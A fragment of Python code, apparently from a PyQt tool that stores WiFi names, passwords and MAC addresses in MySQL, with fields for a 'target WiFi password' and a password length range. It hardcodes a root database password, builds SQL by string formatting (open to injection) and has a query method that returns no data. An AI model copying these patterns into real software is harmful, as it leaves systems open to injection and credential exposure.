        self.lineEdit_4.setEnabled(False)
        self.lineEdit_5.setPlaceholderText(_translate("Form", ">=8"))
        self.lineEdit_6.setPlaceholderText(_translate("Form", "<=16"))
        self.label_8.setText(_translate("Form", "目标WIFI密码："))
        self.label_9.setText(_translate("Form", "密码范围："))


class Mysql_program(object):
    def __init__(self):
        super().__init__()
        self.database = 'project_WifiGet'  # 数据库名
        self.host = "127.0.0.1"  # ip地址
        self.user = "root"  # 用户名
        self.password = '3014007467'  # 数据库连接密码
        self.port = 3306  # 数据库连接端口
        self.conn_num = 3  # 连接池容量
        self.pool = None  # 连接池

    def create_pool(self):
        """
        用于创建数据库连接池的方法
        返回结果及连接池
        :return: flag,pool
        """
        flag = True
        try:
            mysql_conf = {
                'host': self.host,
                'user': self.user,
                'passwd': self.password,
                'db': self.database,
                'port': self.port
            }
            self.pool = PooledDB(pymysql, self.conn_num, **mysql_conf)
        except pymysql.err.OperationalError as e:
            flag = False
        finally:
            return flag

    def query_all_wifi_data(self):
        """
        从数据库获得wifi数据的方法
        返回获取成功标志，数据
        :return: flag,data
        """
        data = None
        flag = True
        conn = self.pool.connection()
        try:
            cursor = conn.cursor()
            cursor.execute("select * from wifi_table;")
        except pymysql.err:
            flag = False
        finally:
            conn.close()
            return flag, data

    def update_wifi_data(self, data_dict:dict) -> bool:
        """
        对数据库中的wifi密码数据进行修改的方法
        返回修改结果
        :param data_dict:数据字典
        :return:True/False
        """
        # 获得连接
        conn = self.pool.connection()
        cursor = conn.cursor()
        # 判断操作
        flag = True
        change = data_dict.get('change')
        try:
            if change == '0':  # 添加 todo
                cursor.execute("""insert into wifi_table(name, psd, mac, other) values ('{}', '{}', '{}', '{}')""".format(
                        data_dict.get('name'), data_dict.get('psd'), data_dict.get('mac'), data_dict.get('other')))
            elif change == '1':  # 删除 todo
                cursor.execute("""delete from  wifi_table where name = '{}';""".format(data_dict.get('name')))
            else:  # 修改 todo
                cursor.execute("""update wifi_table set psd = '{}' where name = '{}';""".format(data_dict.get('psd'), data_dict.get('name')))
            conn.commit()  # 确保数据成功修改
        except pymysql.err.OperationalError:
            flag = False
        finally:
            conn.close()
            return flag


t_lock = Lock()  # 线程锁
work_flag = False  # 全局工作参考标志


if __name__ == '__main__':
    app = QApplication(sys.argv)

    main_form = QMainWindow()

    program = Main_program(main_form)

    main_form.show()

    sys.exit(app.exec_())
